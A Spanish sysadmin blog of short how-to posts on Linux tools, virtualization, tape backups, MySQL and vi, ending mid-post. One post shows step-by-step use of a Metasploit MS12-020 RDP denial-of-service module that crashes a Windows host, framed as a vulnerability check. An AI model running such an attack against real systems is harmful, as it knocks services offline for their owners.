04/12 ~ El mundo en bits

Cómo extraer el contenido de un fichero MSI

En alguna ocasión puede ser necesario tener que extraer el contenido de un fichero *.msi en un equipo Windows, así que os dejo aquí un pequeño truco de cómo hacerlo. Para ello, empleamos el comando msiexec, que entre otras cosas sirve para hacer éste tipo de cosas.

En caso de que la carpeta C:\tmp\file no exista, ésta se crea automáticamente. Las rutas pasadas necesitan ser absolutas, nunca relativas.

cmd> msiexec /a C:\file.msi /qb TARGETDIR=C:\tmp\file

Phrack #68

Ya está disponible la última revista de Phrack, un año más tarde. La podéis descargar completa aquí o por capítulos individuales. Como siempre en perfecto texto plano e Inglés, pero fácil de comprender si estás metido en estos temas.

Introduction	The Phrack Staff
Phrack Prophile on FX	The Phrack Staff
Phrack World News	TCLH
Linenoise	various
Loopback	The Phrack Staff
Android Kernel Rootkit	dong-hoon you
Happy Hacking	anonymous author
Practical cracking of white-box implementations	sysk
Single Process Parasite	Crossbower
Pseudomonarchia jemallocum	argp & huku
Infecting loadable kernel modules: kernel versions 2.6.x/3.0.x	styx^
The Art of Exploitation: MS IIS 7.5 Remote Heap Overflow	redpantz
The Art of Exploitation: Exploiting VLC, a jemalloc case study	huku & argp
Secure Function Evaluation vs. Deniability in OTR and similar protocols	greg
Similarities for Fun and Profit	Pouik & G0rfi3ld
Lines in the Sand: Which Side Are You On in the Hacker Class War	anonymous author
Abusing Netlogon to steal an Active Directory's secrets	the p1ckp0ck3t
25 Years of SummerCon	Shmeck
International Scenes	various

screen, comandos en segundo plano

screen es una de esas utilidades de GNU/Linux que se usan en ocasiones muy esporádicas pero que resultan muy útiles, especialmente es conexiones remotas contra equipos. screen nos permite abrir varios terminales virtuales sobre una conexión y dejar procesos ejecutándose al salir de "su consola" sin que por ello el proceso se cancele. Esto en conexiones remotas es muy útil.
screen está disponible en todas o casi todas las distribuciones de forma oficial y tras su instalación, el modo de empleo es en línea de comandos con combinaciones de teclas: Al estilo emacs!
Las combinaciones más interesantes a recordar son:

Ctrl + D, cierra el terminal abierto de screen.
Ctrl + A, C, abre un nuevo terminal virtual.
Ctrl + A, N, permite cambiar entre terminales virtuales.
Ctrl + A, D, permite salir del terminal sin cerrarlo.

Un ejemplo de cómo usarlo,

shell> screen
...
[Press Space or Return to end.]
   screen-shell> comando_screen_shell
   Ctrl + A, D
shell> screen -ls
There is a screen on:
   31556.pts-3.iBook  (11/07/11 17:01:15)  (Detached)
   31559.pts-4.iBook  (11/07/11 17:15:27)  (Detached)
2 Socket in /var/run/screen/S-javier.
shell> screen -r 31556.pts-3.iBook
   screen-shell> comando_screen_shell
   Ctrl + D
[screen is terminating]
shell> screen -ls
There is a screen on:
   31559.pts-4.iBook  (11/07/11 17:15:27)  (Detached)
1 Socket in /var/run/screen/S-javier.

Convertir disco VirtualBox a KVM

Si en un post anterior hablamos de cómo se podría hacer para convertir una imagen de VirtualBox a VMWare, en este caso vamos a ver cómo hacer también una conversión, pero de VirtualBox a KVM, otro sistema de virtualización también bastante común entre los usuarios.

Esta vez para hacerlo, tenemos que ejecutar 2 pasos.

Convertimos la imagen DVI a RAW
Esto va a tener un problema de ocupación de espacio en disco. Las imágenes VDI 'sólo' ocupan los datos que tenga, mientras las RAW ocupan todo el espacio definido. Esto implica que si la imagen DVI está ocupando actualmente 8Gb, pero tiene definidos hasta 40Gb, en formato RAW ocupará los 40 Gb.
Con los discos actuales no debería ser problema, pero siempre hay que tenerlo en cuenta.
```
shell> VBoxManage clonehd disk.vdi disk.raw --format RAW
```

Convertimos la imagen RAW a QCOW2

shell> qemu-img convert -f raw -O qcow2 disk.raw disk.qcow2

tcpdump a dispositivo USB

Hoy voy a escribir de algo que no suele ser lo habitual, pues muchos de nosotros pensamos que no tiene demasiado sentido, pero según qué cosas pretendamos hacer, puede tenerlo o no.

tcpdump, esa maravillosa herramienta que nos permite capturar los datos que viajan por nuestra tarjeta de red, tras ponerla en modo monitor, tiene otras muchas utilidades menos conocidas. Una de ellas, es la de poder capturar tráfico de interfaces USB. Sí, capturar aquellas cosas, ficheros, datos, comandos, etc. que pasan a través de un puerto USB. Por defecto, tcpdump soporta los siguientes interfaces, en el caso de mi equipo.

shell> tcpdump -D
1.eth0
2.any (Pseudo-device that captures on all interfaces)
3.lo

Como podemos observar, son tarjetas de red, pero no puertos USB. Para habilitar la captura de tráfico USB, hay primeramente que cargar el el módulo usbmon, tal como sigue,

shell> modprobe usbmon

Si ahora comprobamos nuevamente en qué interfaces se puede poner a la escucha tcpdump, vemos que ya hay nuevas interfaces, los puertos USB.

shell> tcpdump -D
1.eth0
2.usbmon1 (USB bus number 1)
3.usbmon2 (USB bus number 2)
4.usbmon3 (USB bus number 3)
5.usbmon4 (USB bus number 4)
6.usbmon5 (USB bus number 5)
7.any (Pseudo-device that captures on all interfaces)
8.lo

Si ahora interesa escuchar en alguno de los puertos, únicamente hay que especificar en cual. El funcionamiento es el mismo que bajo una tarjeta de red.

shell> tcpdump -nni usbmon2

Puede que al ejecutarlo obtengamos un fallo como éste,

shell> tcpdump -nni usbmon2
tcpdump: packet printing is not supported for link type USB_LINUX_MMAPPED: use -w

Lo solucionamos como nos indica ahí, mandando la salida a un fichero con la opción -w.

shell> tcpdump -w file_usb2 -nni usbmon2

¿Tiene utilidad?

A priori poder sniffar un puerto USB no tiene especial sentido, a no ser que nos interese investigar qué es lo que hacen determinados dispositivos hardware cuando suceden determinados eventos. Por ejemplo, algo similar a ésto se hizo para conseguir la primera versión de los driver's libres del kinect.

Así que ya sabes, si te interesa investigar qué es lo que pasa por "la red de tu USB", lo puedes hacer.

Características hardware: dmidecode usage

dmidecode es un comando que permite obtener información del hardware de un equipo. Realmente lo que hace es consultar la BIOS y presentar la información en formato legible. Permite obtener información de prácticamente todo el hardware del equipo, como puede ser desde el tipo de CPU hasta el máximo de memoria RAM que admite la placa con la que trabajamos. A continuación os dejo todos los tipos de datos que se pueden obtener y veremos también algún ejemplo de uso.

Type   Information
 0     BIOS
 1     System
 2     Base Board
 3     Chassis
 4     Processor
 5     Memory Controller
 6     Memory Module
 7     Cache
 8     Port Connector
 9     System Slots
10     On Board Devices
11     OEM Strings
12     System Configuration Options
13     BIOS Language
14     Group Associations
15     System Event Log
16     Physical Memory Array
17     Memory Device
18     32-bit Memory Error
19     Memory Array Mapped Address
20     Memory Device Mapped Address
21     Built-in Pointing Device
22     Portable Battery
23     System Reset
24     Hardware Security
25     System Power Controls
26     Voltage Probe
27     Cooling Device
28     Temperature Probe
29     Electrical Current Probe
30     Out-of-band Remote Access
31     Boot Integrity Services
32     System Boot
33     64-bit Memory Error
34     Management Device
35     Management Device Component
36     Management Device Threshold Data
37     Memory Channel
38     IPMI Device
39     Power Supply
40     Additional Information
41     Onboard Device

Para usarlo, simplemente debemos indicar de qué tipo queremos la información y la podremos obtener. En caso de que no solicitemos un tipo concreto, el comando nos mostrará toda la información disponible.

Memoria

shell> dmidecode -t 16
# dmidecode 2.9
SMBIOS 2.5 present.

Handle 0x0005, DMI type 16, 15 bytes
Physical Memory Array
 Location: System Board Or Motherboard
 Use: System Memory
 Error Correction Type: Single-bit ECC
 Maximum Capacity: 32 GB
 Error Information Handle: Not Provided
 Number Of Devices: 6

Slots del sistema

shell> dmidecode -t 9
# dmidecode 2.9
SMBIOS 2.5 present.

Handle 0x001D, DMI type 9, 13 bytes
System Slot Information
 Designation: PCIE SAS
 Type: x4 PCI Express
 Current Usage: Available
 Length: Long
 ID: 1
 Characteristics:
  3.3 V is provided

Handle 0x001E, DMI type 9, 13 bytes
System Slot Information
 Designation: System Slot 1
 Type: x8 PCI Express
 Current Usage: In Use
 Length: Long
 ID: 2
 Characteristics:
  3.3 V is provided

Handle 0x001F, DMI type 9, 13 bytes
System Slot Information
 Designation: System Slot 2
 Type: x8 PCI Express
 Current Usage: In Use
 Length: Long
 ID: 3
 Characteristics:
  3.3 V is provided

Procesador

shell> dmidecode -t 4 
# dmidecode 2.9
SMBIOS 2.5 present.

Handle 0x0001, DMI type 4, 40 bytes
Processor Information
 Socket Designation: Node 1 Socket 1
 Type: Central Processor
 Family: Xeon
 Manufacturer: Intel(R) Corporation
 ID: E5 06 01 00 FF FB EB BF
 Signature: Type 0, Family 6, Model 30, Stepping 5
 Flags:
  FPU (Floating-point unit on-chip)
  VME (Virtual mode extension)
  DE (Debugging extension)
  PSE (Page size extension)
  TSC (Time stamp counter)
  MSR (Model specific registers)
  PAE (Physical address extension)
  MCE (Machine check exception)
  CX8 (CMPXCHG8 instruction supported)
  APIC (On-chip APIC hardware supported)
  SEP (Fast system call)
  MTRR (Memory type range registers)
  PGE (Page global enable)
  MCA (Machine check architecture)
  CMOV (Conditional move instruction supported)
  PAT (Page attribute table)
  PSE-36 (36-bit page size extension)
  CLFSH (CLFLUSH instruction supported)
  DS (Debug store)
  ACPI (ACPI supported)
  MMX (MMX technology supported)
  FXSR (Fast floating-point save and restore)
  SSE (Streaming SIMD extensions)
  SSE2 (Streaming SIMD extensions 2)
  SS (Self-snoop)
  HTT (Hyper-threading technology)
  TM (Thermal monitor supported)
  PBE (Pending break enabled)
 Version: Intel(R) Xeon(R) CPU           X3430  @ 2.40GHz
 Voltage: 1.2 V
 External Clock: 4800 MHz
 Max Speed: 4000 MHz
 Current Speed: 2400 MHz
 Status: Populated, Enabled
 Upgrade: ZIF Socket
 L1 Cache Handle: 0x0003
 L2 Cache Handle: 0x0004
 L3 Cache Handle: 0x0002
 Serial Number: Not Specified
 Asset Tag: Not Specified
 Part Number: Not Specified
 Core Count: 4
 Core Enabled: 4
 Thread Count: 4
 Characteristics:
  64-bit capable

vi, mostrar número de línea

Muchas veces cuando estamos editando un fichero desde vi sabemos en qué línea está el fallo, pero si estamos en medio del fichero, localizarla es mucho más complicado, ya que no sabemos en qué línea estamos.

vi, por supuesto, tiene la posibilidad de mostrar el número de línea, pero por defecto no lo hace, por lo tanto, si queremos emplear esta facility, tendremos que habilitarla. Para ello,

:set nu

En caso de que ya no nos interese saber el número de línea, podemos volver a deshabilitar así,

:set nonu

Manejo de cintas de backup en GNU/Linux

Hace tiempo que tenía planeado escribir este post y con ello espero que ayudar algún día a alguien que necesite manejar una librería o unidad de cintas. Actualmente están perfectamente soportadas en sistemas GNU/Linux y en uno de los próximos post espero comenzar a mostrar cómo conseguir que bacula funcione perfectamente contra la librería. Pero antes de nada... hay que saber manejar la librería y las cintas. Bacula, o cualquier otro cliente de backups, lo único que hace es manejar de forma automática estos comandos según lo necesite.

Por lo tanto, vamos a ello. Primero hay que tener claro un par de conceptos. En prácticamente todos los sistemas GNU/Linux, el cargador de cinta está identificado como un dispositivo /dev/sgX (en mi caso será /dev/sg0) y la cinta, una vez cargada como /dev/nstX (en mi caso /dev/nst0). Existen comandos perfectamente pensados para manejar ambos dispositivos. Para el primero emplearemos mtx y para el segundo, el comando mt.

Hay que recordar que la cintas de backup son secuenciales y por lo tanto, al cargarlas, leer o escribir en ellas primero hay que posicionarse en donde corresponda. Una vez aclarado esto, vamos a ver las principales opciones para manejar la unidad de cintas.

Consultar el estado de la librería
```
shell> mtx -f /dev/sg0 status
```

Cargar una cinta

shell> mtx -f /dev/sg0 load numero_de_cinta

Descargar una cinta
```
shell> mtx -f /dev/sg0 unload
```

Y una vez que tenemos una cinta cargada, también podemos hacer cosas con ella, para comprobar que realmente funciona correctamente. Para ello,

Consultar el estado de una cinta
```
shell> mt -f /dev/nst0 status
```
Rebobinar la cinta cargada
```
shell> mt -f /dev/nst0 rewind
```
Expulsar la cinta, después de rebobinarla
```
shell> mt -f /dev/nst0 eject
```

Escribir directamente en la cinta

shell> tar -cvf /dev/nst0 fichero/directorio

Escribir un eof después de escribir algo
Permite luego poder ir saltando de fichero en fichero.
```
shell> mt -f /dev/nst0 eof
```
Salta de fichero en fichero por la cinta
Es necesario escribir un eof entre ficheros.
```
shell> mt -f /dev/nst0 fsf
```
Sacar un fichero de la cinta estando al principio del mismo
Recordar, la cinta es secuencial. Primero nos posicionamos y luego leemos.
El fichero o directorio leído quedará almacenado en el directorio actual.
```
shell> tar -xvf /dev/nst0
```
Borrar una cinta
```
shell> mt -f /dev/nst0 erase
```

Reto esteganográfico

Hoy os quiero proponer algo cuando menos curioso y no habitual en este blog. La resolución de un reto un tanto peculiar sobre esteganografía. La verdad es que cuando lo hagáis veréis que es una chorrada, pero espero que sirva a alguien para mostrar algo de curiosidad por estos métodos cada vez más difundidos de ocultar información.

Para los novatos en estos temas que lo quieran intentar, que sepan que la esteganografía es la disciplina que estudia y aplica técnicas de ocultamiento de mensajes embebidos dentro de otros. En nuestro caso imágenes ;-)

Para el que lo quiera intentar, dejo aquí el fichero sobre el que trabajar, reto.tar.lzma.tar.gz.

Actualización: se ha publicado la solución.

Convertir disco VirtualBox a VMWare

En alguna ocasión fijo que os tiene pasado que tenéis que hacer una pequeña maqueta de un sistema con alguna funcionalidad en local para luego pasársela a un cliente o un amigo. Puesto que empleamos GNU/Linux, lo más lógico es que en el escritorio estemos usando VirtualBox. El procedimiento por lo tanto es bien conocido, creamos la máquina, la configuramos, la dejamos bien preparada y luego se la dejamos a nuestro amigo/cliente. El problema, el otro extremo de la cadena usa VMWare, la hemos liado!

Si es un amigo, todo puede tener solución, le contamos las ventajas y bondades de VirtualBox y se lo instala. Si es un cliente, mejor averiguamos cómo convertir la imagen del disco de nuestra máquina a VMWare, que además es muy sencillo. Simplemente hay que ejecutar este sencillo comando,

shell> vboxmanage clonehd \ 
       xpdisk.vdi \ # imagen VirtualBox
       xpdisk.vmdk \ # imagen VMWare
       -format VMDK \ # Nuevo formato aplicado
       -variant standard

Comandos interesantes, dsh

Hoy navegando por la inmensa lista de paquetes que proporciona Debian me encontré con una herramienta cuando menos interesante, dsh. Es un comando que permite conectar de forma remota con un grupo de máquinas de forma que facilita enormemente la ejecución del mismo comando en diferentes máquinas. O dicho de otra forma... es un pequeño script que va iterando entre un grupo de máquinas y conectándose y ejecutando el mismo comando en todas y cada una de ellas.

Vamos primeramente a instalarlo. Los sistemas basados en Debian lo incluyen en su repositorio, por lo tanto,

shell> apt-get install dsh

Una vez esté instalado, lo primero que tenemos que hacer es editar el fichero de configuración (/etc/dsh/dsh.conf) y cambiar la shell remota que emplea por defecto de rsh a ssh. Hay que securizar nuestros entornos ;-)

# default configuration file for dsh.

verbose = 0 
remoteshell = ssh
showmachinenames = 0
waitshell = 1  # whether to wait for execution

#remoteshellopt=...

Una vez tengamos esto listo, sólo faltará crear el grupo de máquinas a las que nos interesa conectar. Un grupo no es más que un fichero que contiene un listado de nombres o IP's a las que conectarse. Una por línea. Por lo tanto, crearemos el siguiente fichero, maquinas_locales, que tendrá las máquinas GNU/Linux de nuestra red local. Dicho fichero lo colocaremos en /etc/dsh/group/maquinas_locales y el contenido será,

shell> cat /etc/dsh/group/maquinas_locales 
puppet.local.net
apache.local.net
dhcp.local.net
192.168.1.33
192.168.1.45
192.168.1.24
localhost

Como se observa aquí, incluimos tanto nombres como IP's y puesto que también nos interesa que nuestra máquina local esté afectada por los comandos, también la incluimos.

Podemos crear tantos grupos como queramos con las máquinas que nos interese, únicamente habrá que acordarse del nombre.

Vamos ahora a comenzar a trabajar contra todos los equipos. Por ejemplo, vamos a solicitar la salida del comando uptime. Entonces... según las diferentes opciones que presenta dsh,

Ejecución al grupo all (por defecto)
```
shell> dsh -a uptime
```

Ejecución del comando a una máquina concreta

shell> dsh -m 192.168.1.33 -m puppet.local.net uptime

Ejecución del comando a un grupo de máquinas
Por defecto, según lo especificado en el fichero de configuración, se lanza el comando y se espera a que se ejecute antes de "lanzarlo" a otra máquina.
```
shell> dsh -g maquinas_locales uptime
```
Ejecución del comando a un grupo de máquinas de forma concurrente
```
shell> dsh -c -g maquinas_locales uptime
```
Ejecución del comando indicando en qué máquina se ejecuta
Por defecto no indica el nombre de la máquina, esto implica que no sepamos de qué máquina proviene.
```
shell> dsh -M -g maquinas locales uptime
```

La idea de emplear ssh como shell por defecto, es por motivos de seguridad y también por que tenemos la clave ssh compartida entre las máquinas locales, por lo que no tendremos que repetir una y otra vez la contraseña cada vez que nos tengamos que conectar a una nueva máquina. Algo importante y que sirve para automatizar aún más el proceso.

Montar recursos mediante SSH en GNU/Linux

sshfs es una emulación de un sistema de ficheros para GNU/Linux que maneja a bajo nivel SSH, por lo que la comunicación entre cliente y servidor en todo momento viajará cifrada. sshfs es muy útil para acceder a sistemas de ficheros remotos como locales, de forma segura. Es simple y rápido. Lo único que necesita es de un lado un servidor SSH y del otro, el cliente sshfs + fuse. Su instalación en sistemas GNU/Linux es trivial ya que suele estar incluido en casi todos os repositorios de las distribuciones.

shell> apt-cache search sshfs
sshfs - filesystem client based on SSH File Transfer Protocol
shell> apt-get install sshfs

Otro de los requisitos para la parte del cliente es disponer del módulo fuse y que éste esté cargado. Para comprobarlo,

shell> lsmod|grep fuse
shell> modprobe fuse     # cargamos el módulo
shell> lsmod | grep fuse # comprobamos que está cargado
fuse             44304  1

Con sshfs instalado y fuse cargado, ya es posible montar directorios remotos, son simplemente ejecutar:

shell> sshfs user@server:remote_dir local_dir

En caso de que queramos traer nuestra /home remota a nuestra máquina local, sería algo así:

shell> sshfs javier@192.168.1.6:/home/javier /mnt/javier

Para facilitar el montaje del directorio remoto, lo mejor es añadirlo al final del fichero /etc/fstab y así permitir al usuario su montaje. Para ello, añadimos la siguiente línea.

...
sshfs#javier@192.168.1.6:/home/javier /mnt/javier fuse noauto 0 0

Y a continuación, damos permisos al usuario, en este caso javier, para usar fuse como usuario normal, sin privilegios.

shell> usermod -G fuse -a javier

Y como usuario javier, comprobamos que efectivamente sí se puede montar el recurso remoto, siempre empleando por debajo ssh.

javier@shell> mount /mnt/sshfs
javier@192.168.1.6's password:

Este sistema de ficheros se puede emplear con claves ssh para evitar que a la hora del montaje solicite la contraseña.

Más información: fuse.sourceforge.net

Samba fail, CVE-2012-1182

El viernes de la semana pasada se ha anunciado en los foros de Samba una vulnerabilidad crítica afecta a las versiones comprendidas entre la 3.0.X y la 3.6.3, prácticamente 9 años de desarrollo con el bug a cuestas. La vulnerabilidad de etiquetó con el código CVE-2012-1182 y tiene una gravedad alta, ya que permitiría ejecutar código remotamente como usuario root a través de una conexión sin autenticar (sesión anónima).

El fallo está en una función que se encarga de generar el código empleado para empaquetar y desempaquetar las llamadas RPC a través de red. Este error es provocado por la falta de comprobación de concordancia entre la variable que contiene la longitud de un array y la variable usada para reservar memoria para dicho array.

Existe una prueba de concepto que explota dicho fallo creando una llamada RPC especialmente manipulada que logra aprovechar el fallo.

También están ya disponibles los parches para solucionar dicho problema de seguridad en samba.org y las principales distribuciones que lo empaquetan también han hecho los deberes creando ya paquetes no vulnerables.

Más información del bug: samba.org - CVE-2012-1182

Ejemplo de PoC: samba.org.

vi, eliminar los caracteres ^M

Si estás empleando de forma habitual sistemas Windows o las personas con las que trabajas y compartes ficheros los editan en sistemas Windows, el carácter ^M no te pillará por sorpresa. Éste el último carácter que los editores de Windows le ponen a los ficheros, en vez del típico carácter de salto de línea, \n.

Cuando nos llega un archivo así y lo tenemos que editar, la verdad es que resulta un poco molesto ver esos caracteres al final de la línea, así que os dejo aquí un pequeño truco para poder sacárselo de forma muy sencilla desde vi. Simplemente llega con escribir,

:se ff=unix

Metasploit, MS12-020

Uno de los últimos fallos de Windows y que que provoca una denegación de servicio a los equipos que la sufren es el conocido como MS12-020, vulnerabilidad CVE-2012-0002. Dicho fallo afecta al protocolo RDP (escritorio remoto) y puede permitir la ejecución remota de código.

El fallo fue corregido por Microsfot en Marzo de este año, pero todavía hay numerosos equipos afectados. Metasploit tiene un pequeño exploit, plenamente funcional, que aprovecha dicho fallo para provocar un fallo en el equipo y hacer que éste se reinicie. Vamos a ver de forma muy sencilla cómo saber si el equipo es vulnerable.

Buscamos el módulo a usar y lo cargamos

msf > search MS12-020

Matching Modules
================

Name                                 Disclosure Date Rank  Description
----                                 --------------- ----  -----------
auxiliary/.../ms12_020_maxchannelids 2012-03-16     normal MS12-020...

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

Configuramos el módulo con la IP del Windows vulnerable (192.168.1.130)

msf  auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.1.130
RHOST => 192.168.1.130
msf  auxiliary(ms12_020_maxchannelids) > show options

Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.1.130    yes       The target address
   RPORT  3389             yes       The target port

Ejecutamos el exploit

msf  auxiliary(ms12_020_maxchannelids) > run

[*] 192.168.1.130:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.1.130:3389 - 210 bytes sent
[*] 192.168.1.130:3389 - Checking RDP status...
[+] 192.168.1.130:3389 seems down
[*] Auxiliary module execution completed

Bien! Acabamos de conseguir explotar la vulnerabilidad que presenta. Ahora mismo el equipo se está reiniciando, pero sabemos que es vulnerable, por lo que cuando vuelva se podría intentar ejecutar código remotamente en él.

Ejecutamos el exploit contra un equipo NO vulnerable

Como se puede observar, este equipo está parcheado y el exploit no hace nada, como se observa en la penúltima línea.

msf  auxiliary(ms12_020_maxchannelids) > run

[*] 192.168.1.132:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 192.168.1.132:3389 - 210 bytes sent
[*] 192.168.1.132:3389 - Checking RDP status...
[*] 192.168.1.132:3389 is still up
[*] Auxiliary module execution completed

dpkg cheat sheet

La tercera de las chuletas que espero que a alguien le sirva de ayuda es sobre el funcionamiento más habitual de dpkg. dpkg es una herramienta para la instalación, desinstalación, compilación y manipulación de los paquetes en sistemas Debian.
Las opciones que más habitualmente se emplean son:

Instalación de un paquete
```
shell> dpkg -i package
```
Actualización de un paquete
```
shell> dpkg -i package
```
Instalación de todos los paquete de un directorio
```
shell> dpkg -R /ruta/paquetes/
```
Desinstalación de un paquete (conservando configuraciones)
```
shell> dpkg -r package
```
Desinstalación de un paquete (incluidas configuraciones)
```
shell> dpkg -P package
```
Listado de paquetes instalados
```
shell> dpkg -l
```
Listado de paquetes que coinciden con nombre
```
shell> dpkg -l package
```
Encontrar paquete que provee los ficheros
```
shell> dpkg -L package
```
Listado de ficheros de paquete
```
shell> dpkg -c package
```
Encontrar qué paquete es el "dueño" del fichero
```
shell> dpkg -S /ruta/file
```
Listar propiedades del paquete (grupo, versión, mantenedor, arquitectura, etc.)
```
shell> dpkg -p package
```
Listar contenido de un paquete no instalado
```
shell> dpkg --contents package.deb
```
Extraer información de un paquete
```
shell> dpkg -I package.deb
```

Retener actualización de paquete

shell> echo "package hold" | dpkg --set-selections

Obtener estado de todos los paquetes
```
shell> dpkg --get-selections
```
Compilar un paquete desde el árbol de Debian
```
shell> dpkg-buildpacakge package
```
Corregir dependencias tras instalación fallida
```
shell> dpkg --configure --pending
```
Extraer contenido de un paquete
```
shell> dpkg -x package.deb
```
Hacer una copia de las selecciones de los paquetes
```
shell> dpkg --get-selections > my_packages
```

Instalar paquetes seleccionados

shell> dpkg --clear-selections
shell> dpkg --set-selections < my_packages

MySQL, detener replicación definitivamente

Hace tiempo expliqué de forma muy simple y rápida cómo poder realizar una configuración MASTER-SLAVE en MySQL. Ya sabéis, en caso de que queramos mejorar un poco el rendimiento de una base de datos o tener alta disponibilidad, esta es una buena opción, ya que dejamos a MySQL la responsabilidad de duplicar los datos en vez de añadir una capa intermedia (DRDB, por ejemplo) y por lo tanto más complejidad al sistema. Ésto último, no en todos los casos es posible ;-)

Pero, ¿cómo hacemos para dejar de replicar un sistema? Esta es una buena pregunta, ya que MySQL permite parar la sincronización de un esclavo, tal que así,

mysql-slave> STOP SLAVE;

Y como se puede observar tampoco existe el proceso que se encarga de la réplica,

mysql-slave> SHOW PROCESSLIST;
+--+----+---------+----+-------+----+-----+----------------+
|Id|User|Host     |db  |Command|Time|State|Info            |
+--+----+---------+----+-------+----+-----+----------------+
|1 |root|localhost|NULL|Query  |  0 |NULL |show processlist|
+--+----+---------+----+-------+----+-----+----------------+
1 row in set (0.00 sec)

Sin embargo, si miramos el estado del esclavo vemos que sigue teniendo perfectamente definidas todas las variables de sincronización con el equipo maestro,

mysql-slave> SHOW SLAVE STATUS \G
*************************** 1. row ***************************
               Slave_IO_State: 
                  Master_Host: 192.168.0.64
                  Master_User: slave
                  Master_Port: 3306
                Connect_Retry: 30
              Master_Log_File: mysql-bin.005010
          Read_Master_Log_Pos: 1676964
               Relay_Log_File: sistema_db_2-relay-bin.000423
                Relay_Log_Pos: 1677110
        Relay_Master_Log_File: mysql-bin.005010
             Slave_IO_Running: No
            Slave_SQL_Running: No
...
...
1 row in set (0.00 sec)

Y por lo tanto ante un reinicio del servicio, por ejemplo o un "START SLAVE" la replicación volvería a comenzar.

Entonces, ¿cómo borramos definitivamente esas configuraciones? Para poder hacer eso, MySQL implemente el siguiente comando,

mysql-slave> RESET SLAVE ALL;
Query OK, 0 rows affected (0.00 sec)

que reinicia todas las variables de replicación a valores nulos y por lo tanto volver a sincronizar el máster con el slave ya no será posible. Si ahora miramos el estado del slave, ¡¡lo conseguimos!!

mysql-slave> SHOW SLAVE STATUS \G
Empty set (0.00 sec)

Ya para finalizar, y dejar los sistemas limpios si no nos interesa volver a establecer ningún equipo como slave del máster, simplemente revocamos los permisos de réplica del usuario que en su día se creó para dicha tarea.

mysql-master> REVOKE REPLICATION SLAVE ON *.* FROM 'slave'@'%';
Query OK, 0 rows affected (0.00 sec)

MySQL InnoDB version

Con la cantidad de versiones de MySQL que hay ahora mismo disponibles en el mercado, muchas veces saber qué versión de InnoDB está en cada una puede ser complicado.

MySQL tiene una versión, Percona otra, MariaDB otra diferente, etc. Por lo tanto si para poder hacer funcionar alguna facility especial es necesario una versión concreta, a continuación veremos un par de formas de saber qué versión del plugin InnoDB trae nuestro motor de base de datos preferido.

mysql> SELECT PLUGIN_NAME,PLUGIN_VERSION,PLUGIN_TYPE_VERSION,PLUGIN_AUTHOR
    -> FROM information_schema.PLUGINS
    -> WHERE PLUGIN_NAME="InnoDB";
+-------------+----------------+---------------------+--------------------+
| PLUGIN_NAME | PLUGIN_VERSION | PLUGIN_TYPE_VERSION | PLUGIN_AUTHOR      |
+-------------+----------------+---------------------+--------------------+
| InnoDB      | 1.1            | 50520.0             | Oracle Corporation |
+-------------+----------------+---------------------+--------------------+

Otra forma de saberlo, consultando directamente las variables globales del sistema es,

mysql> SHOW GLOBAL VARIABLES LIKE 'innodb_ver%';
+----------------+---------------+
| Variable_name  | Value         |
+----------------+---------------+
| innodb_version | 1.1.8-rel24.1 |
+----------------+---------------+

vi, abrir fichero en un número de línea

Una de las ventajas que presenta vi y que todavía no observé en ningún otro editor, si bien hay que decir que casi no empleo ningún otro, es la posibilidad de abrir un fichero en el número de línea que queramos del flujo. Esto es muy cómodo por ejemplo si estamos creando un script y al ejecutarlo nos dice que hay un fallo en la línea X. Lo mismo pasa con un fichero de configuración. Si falla en la línea 23, por qué tener que bajar hasta ella, pudiendo abrirlo directamente ahí. Para hacerlo, simplemente al ejecutar el comando le pasamos el número de la línea y listo.

shell> vi file +23

Cómo añadir un nuevo interfaz virtual en Red Hat

Aunque el título del post sea un poco engañoso, la verdad es que la primera vez que lo haces, si no lo sabías resulta cuando menos extraño. En Debian si quieres añadir un interfaz virtual con una nueva IP, simplemente hay que ir al fichero de configuración /etc/network/interfaces y añadir ahí la nueva tarjeta virtual. Tras guardar, simplemente se levanta el nuevo interfaz y listo, ya coge la configuración.

Pues bien, en Red Hat/CentOS no hay un fichero de configuración similar y claro, el empleo del comando ifconfig sí es similar, pero la tarjeta virtual que puede crear no es permanente. Lo mismo sucede si añadimos una nueva IP al interfaz existente con "ip addr add...", tras un reinicio, todo desaparece.
Puesto que ninguna de estas opciones servía, tuve que averiguar cómo añadir a sistemas RedHat un nuevo interfaz de red. Para hacerlo, tuve que ir al directorio /etc/sysconfig/network-scripts y en él vemos que están los ficheros de configuración de los interfaces. En mi caso, empleaba una tarjeta de red en bonding, que se llamaba bond0, por lo tanto vamos a ver el contenido de dicho fichero.

shell> cat ifcfg-bond0
  DEVICE=bond0
  BOOTPROTO=none
  IPADDR=192.168.0.14
  NETMASK=255.255.255.0
  BONDING_OPTS="miimon=100 mode=1 primary=eth0"
  USERCTL=no
  ONBOOT=yes

Esto es exactamente la configuración que andábamos buscando. Como lo que nos interesa es tener un nuevo interfaz virtual de esta tarjeta, simplemente realizamos una copia de dicho contenido a un nuevo fichero llamado bond0:0,

shell> cp ifcfg-bond0 ifcfg-bond0:0

Y a continuación lo editamos a nuestro gusto.

shell> cat ifcfg-bond0:0 
  DEVICE=bond0:0
  BOOTPROTO=none
  IPADDR=192.168.0.114
  NETMASK=255.255.255.0
  ONBOOT=yes

Una vez el fichero esté creado, ya podemos levantar el nuevo interfaz, pues el sistema ya sabrá lo que hacer. Para ello,

shell> ifup bond0:0

Al final no era tan complicado. Sólo la primera vez ;-)

warning: Setting locale failed.

Este error es algo que sucede muy a menudo en sistemas Linux tras realizar una actualización del mismo. Por ejemplo, tras pasar de debian Lenny a Squeeze, el siguiente fallo comenzó a aparecer en el sistema. Y aunque no es un fallo que afecte al correcto funcionamiento del sistema, sí es una molesta advertencia, sobre todo a la hora de actualizar un paquete o ejecutar un scritp, ya que la salida no siempre es la esperada. Muchas líneas como ésta se meten en medio y resulta incómodo.

perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
 LANGUAGE = (unset),
 LC_ALL = (unset),
 LC_TIME = "C",
 LANG = "es_ES@euro"
    are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").

El problema está detallado en el propio error y no es otro que la pérdida de valor en algunas de las variables del sistema, que hace que perl no sepa cómo mostrar las salidas. Para solucionarlo, existen dos formas,

Añadir valores a las variables
